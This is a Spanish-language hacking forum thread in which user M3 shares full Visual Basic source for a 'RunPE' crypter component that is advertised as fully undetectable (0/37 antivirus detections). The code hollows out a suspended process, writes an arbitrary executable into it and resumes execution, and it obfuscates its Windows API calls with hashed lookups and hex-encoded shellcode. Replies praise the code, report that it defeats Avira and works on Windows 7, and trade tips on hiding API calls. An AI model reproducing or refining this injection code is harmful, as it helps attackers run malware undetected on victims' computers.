RunPe + Invoke ( FUD) By M3

M3

por M3 Usa camisa de fuerza

Buenas , los dejo a disfrutar ....

' ===========================================================================================================================
' ===========================================================================================================================
' => Autor: M3
' => RunPe + Invoke FUD baseado en el JunPE de Jhonjhon_123
' => Credits to Jhonjhon_123 | Karcrack | Cobein | Mike D Sutton
' => Detecciones : 0 | 37   (http://scanner.udtools.net/reporte.php?id=y4nu_SnKz)
' => Flecha : 13|05|2012
' => sHost : Ruta al exe
' => sBytes: Bytes a ejecutar
' ===========================================================================================================================
' ===========================================================================================================================
Declare Function CallThunk8 Lib "user32" Alias "CallWindowProcA" (ByRef cCode As Currency, Optional ByVal lP1 As Long, Optional ByVal lP2 As Long, Optional ByVal lP3 As Long, Optional ByVal lP4 As Long) As Long
Declare Function ExeThunk Lib "user32" Alias "CallWindowProcA" (ByVal Address As Any, Optional ByVal Param1 As Long, Optional ByVal Param2 As Long, Optional ByVal Param3 As Long, Optional ByVal Param4 As Long) As Long
Declare Function sMulDiv Lib "kernel32" Alias "MulDiv" (ByRef a As Any, Optional ByVal b As Long = 1, Optional ByVal c As Long = 1) As Long
Private sVALUE                         As Byte
Private sMEMORY(40)                    As Byte
Private ASM_GETAPIPTR(170)             As Byte
Private ASM_CALLCODE(255)              As Byte
Private IMAGE_DOS_HEADER(65)           As Byte
Private IMAGE_NT_HEADERS(256)          As Byte
Private IMAGE_SECTION_HEADER(60)       As Byte
Private PROCESS_INFORMATION(44)        As Byte
Private tCONTEXT(210)                  As Byte
Private STARTUPINFO(16)                As Long
Private sParams                        As Long
Private sImageBase                     As Long
Private sProcess                       As Long
Private sThread                        As Long
Private SizeOfImage                    As Long
Private SizeOfHeaders                  As Long
Private sEntryPoint                    As Long
Private sVirtualAddress                As Long
Private sRawData                       As Long
Private sRawDataPoint                  As Long
Private sEbx                           As Long
Private D                              As Long
Private Y                              As Long
Private vItem                          As Variant
Private sSection                       As Integer


Public Function sInject(ByVal sHost As String, ByRef sBytes() As Byte)


For Each vItem In Array(&H56, &H8B, &HEC, &H57, &H60, &H60, &HFC, &H8B, &H75, &HC, &H8B, &H7D, &H8, &H8B, &H4D, &H10, &HC1, _
&HE9, &H2, &HF3, &HA5, &H8B, &H4D, &H10, &H83, &HE1, &H3, &HF3, &HA4, &H61, &H5F, &H5E, &HC9, &HC2, &H10, &H0, &H10)


sMEMORY(Y) = vItem

Y = Y + 1

sVALUE = 200 + 48

Next


Call MoveMemory(sMulDiv(STARTUPINFO(0)), sMulDiv(72), CLng("0"))

Call MoveMemory(sMulDiv(tCONTEXT(CLng("0"))), sMulDiv(&H10007), &H1 + &H4 + &H3)

Call MoveMemory(sMulDiv(IMAGE_DOS_HEADER(CLng("0"))), sMulDiv(sBytes(CLng("0"))), 72)

Call MoveMemory(sMulDiv(sParams), sMulDiv(IMAGE_DOS_HEADER(60)), &H1 + &H3 + &H2)

Call MoveMemory(sMulDiv(IMAGE_NT_HEADERS(CLng("0"))), sMulDiv(sBytes(sParams)), 256)

Call MoveMemory(sMulDiv(sImageBase), sMulDiv(IMAGE_NT_HEADERS(52)), &H1 + &H3 + &H2)

Call MoveMemory(sMulDiv(SizeOfImage), sMulDiv(IMAGE_NT_HEADERS(80)), &H1 + &H4 + &H3)

Call MoveMemory(sMulDiv(SizeOfHeaders), sMulDiv(IMAGE_NT_HEADERS(84)), &H1 + &H4 + &H3)

Call MoveMemory(sMulDiv(sEntryPoint), sMulDiv(IMAGE_NT_HEADERS(40)), &H1 + &H3 + &H2)

Call MoveMemory(sMulDiv(sSection), sMulDiv(IMAGE_NT_HEADERS(6)), &H2)

Call Invoke("KERNEL32", "CreateProcessW", 0, StrPtr(sHost), 0, 0, &H1, &H4, 0, 0, sMulDiv(STARTUPINFO(CLng("0"))), sMulDiv(PROCESS_INFORMATION(CLng("0"))))

Call MoveMemory(sMulDiv(sProcess), sMulDiv(PROCESS_INFORMATION(CLng("0"))), &H1 + &H3)

Call MoveMemory(sMulDiv(sThread), sMulDiv(PROCESS_INFORMATION(4)), &H1 + &H3)

Call Invoke("NTDLL", "NtUnmapViewOfSection", sProcess, sImageBase)

Call Invoke("KERNEL32", "VirtualAllocEx", sProcess, sImageBase, SizeOfImage, &H3000&, &H40)

Call Invoke("NTDLL", "NtWriteVirtualMemory", sProcess, sImageBase, sMulDiv(sBytes(CLng("0"))), SizeOfHeaders, CLng("0"))

For D = 0 To sSection - 1

Call MoveMemory(sMulDiv(IMAGE_SECTION_HEADER(CLng("0"))), sMulDiv(sBytes(sParams + sVALUE + 40 * D)), &H40)

Call MoveMemory(sMulDiv(sVirtualAddress), sMulDiv(IMAGE_SECTION_HEADER(12)), &H1 + &H3 + &H2)

Call MoveMemory(sMulDiv(sRawDataPoint), sMulDiv(IMAGE_SECTION_HEADER(16)), &H1 + &H4 + &H3)

Call MoveMemory(sMulDiv(sRawData), sMulDiv(IMAGE_SECTION_HEADER(20)), &H1 + &H3)

Call Invoke("NTDLL", "NtWriteVirtualMemory", sProcess, sImageBase + sVirtualAddress, sMulDiv(sBytes(sRawData)), sRawDataPoint, CLng("0"))

Next

Call Invoke("NTDLL", "NtGetContextThread", sThread, sMulDiv(tCONTEXT(CLng("0"))))

Call Invoke("NTDLL", "NtWriteVirtualMemory", sProcess, sEbx + &H4 + &H1 + &H3, sMulDiv(sVirtualAddress), &H1 + &H3 + &H2, CLng("0"))

Call MoveMemory(sMulDiv(tCONTEXT(176)), sMulDiv(sImageBase + sEntryPoint), &H1 + &H3)

Call MoveMemory(sMulDiv(sEntryPoint), sMulDiv(tCONTEXT(176)), &H1 + &H3)

Call Invoke("NTDLL", "NtSetContextThread", sThread, sMulDiv(tCONTEXT(CLng("0"))))

Call Invoke("NTDLL", "NtResumeThread", sThread, CLng("0"))

End Function


Public Sub MoveMemory(ByVal lpDest As Long, ByVal lpSource As Long, ByVal cBytes As Long)
   
    ExeThunk sMulDiv(sMEMORY(0)), lpDest, lpSource, cBytes, CLng("0")
   
End Sub



Function Invoke(ByVal sDLL As String, hHash As String, ParamArray vParams() As Variant) As Long

On Error Resume Next
Dim vItem                       As Variant
Dim sThunk                      As String

Call PutThunk(THUNK_GETAPIPTR, ASM_GETAPIPTR)

For Each vItem In vParams
sThunk = "68" & GetLng(vItem) & sThunk
Next vItem

Call PutThunk(sThunk & "B8" & GetLng(ExeThunk(VarPtr(ASM_GETAPIPTR(CLng("0"))), _
StrPtr(sDLL), gHash(hHash))) & "FFD0C3" & sThunk, ASM_CALLCODE)

Invoke = ExeThunk(VarPtr(ASM_CALLCODE(CLng("0"))))


End Function

Private Function gHash(strHash) As Long
On Error Resume Next

Dim i           As Long
Dim lResult     As Long

For i = 1 To Len(strHash)
lResult = CallThunk8(-439163333029263.6533@, lResult)
lResult = lResult + Asc(Mid(strHash, i, 1))
Next i
gHash = "&H" & String(8 - Len(Hex(lResult)), "0") & Hex(lResult)


End Function

Private Function GetLng(ByVal lLng As Long) As String
On Error Resume Next
Dim lTMP                        As Long
lTMP = (((lLng And &HFF000000) \ &H1000000) And &HFF&) Or ((lLng And &HFF0000) \ &H100&) Or ((lLng And &HFF00&) * &H100&) Or ((lLng And &H7F&) * &H1000000) ' by Mike D Sutton
If (lLng And &H80&) Then lTMP = lTMP Or &H80000000
GetLng = String(8 - Len(Hex(lTMP)), "0") & Hex(lTMP)
End Function

Private Sub PutThunk(ByVal sThunk As String, ByRef bvRet() As Byte)
On Error Resume Next
Dim i                           As Long
For i = 0 To Len(sThunk) - 1 Step 2
bvRet((i / 2)) = ("&H" & Mid(sThunk, i + 1, 2))
Next i
End Sub

Function THUNK_GETAPIPTR() As String
THUNK_GETAPIPTR = "E82200000068A44E0EEC50E84300000083C408FF742404FFD0FF7424"
THUNK_GETAPIPTR = THUNK_GETAPIPTR & "0850E83000000083C408C3565531C0648B70308B760C8B761C8B6E08"
THUNK_GETAPIPTR = THUNK_GETAPIPTR & "8B7E208B3638471875F3803F6B7407803F4B7402EBE789E85D5EC355"
THUNK_GETAPIPTR = THUNK_GETAPIPTR & "52515356578B6C241C85ED74438B453C8B54057801EA8B4A188B5A20"
THUNK_GETAPIPTR = THUNK_GETAPIPTR & "01EBE330498B348B01EE31FF31C0FCAC84C07407C1CF0D01C7EBF43B"
THUNK_GETAPIPTR = THUNK_GETAPIPTR & "7C242075E18B5A2401EB668B0C4B8B5A1C01EB8B048B01E85F5E5B595A5DC3"
End Function

Indetectables RAT v.0.9.5

@Indetectables Team

Vidson · Mensajes: 165 Registrado: 23 Feb 2009, 01:53 Ubicación: Mi Casa xD!

por Vidson Se medica

Muy bueno M3 !! Siempre aportando cosas buenas !! gracias por compartirlo bro!!

Saludos!

Twitter: @xVidsonx

por ap0calypt0 Usa camisa de fuerza

Buenísimo. Usando este runPe y otras técnicas, avira muere desde source (entre muchos otros claro)
Muchas gracias.

Mostrar/Ocultar

xxxPoseidonxxx

por xxxPoseidonxxx Usa camisa de fuerza

Todo un artista

Buenísimo. Usando este runPe y otras técnicas, avira muere desde source (entre muchos otros claro)
Muchas gracias.

FUD queda

por Lucho VIP

La verdad que lo tuyo es lírico mene! sos un capo fiera, probe el Rp y esta muy bueno... ademas si se quema es facil de indetectar.

Saludos!!

Gios

por Gios Sin síntomas

Alguien me tira una manito para usar este RunPe me tira sub indice fuera de intervalo...

M3

por M3 Usa camisa de fuerza

Muchas gracias hermanos , disfrutem

Dudas por MP

SaludoS

Indetectables RAT v.0.9.5

@Indetectables Team

M3

por M3 Usa camisa de fuerza

Buenas , los dejo esta version actualizada ( Gracias a LuchoPr por reportar que em XP se ejecutava pero daba error en seguido )

Post original actualizado

Indetectables RAT v.0.9.5

@Indetectables Team

Himanen · Mensajes: 676 Registrado: 17 Sep 2008, 10:12 Ubicación: 0040126C

por Himanen Se conecta desde un manicomio

Gracias M3, funciona de luxe en W7... Un saludo!

adwind · Mensajes: 1872 Registrado: 16 Mar 2011, 17:59

por adwind Usa camisa de fuerza

Te quedo muy bueno amigo :), y hay otros métodos bien cutres por ahí que seria ocultación de un 90 % o mas de APIS por declarar XD

linkgl

por linkgl Usa camisa de fuerza

adwind escribió:Te quedo muy bueno amigo :), y hay otros métodos bien cutres por ahí que seria ocultación de un 90 % o mas de APIS por declarar XD

Está el método de CryptApi he visto por ahí unos ejemplos de E0N y Karcrack (en C++) que de cutres nada pero muy interesante el cifrado de las llamadas a las apis

//mHmm..

M4sK0T3

por M4sK0T3 Delirios esporádicos

Bueno M3N3G@ Graciais!

RunPe + Invoke ( FUD) By M3

Temas similares

Variantes de tema

RunPe + Invoke ( FUD) By M3

Mostrar mensajes previos

Ordenar por

Temas similares

Variantes de tema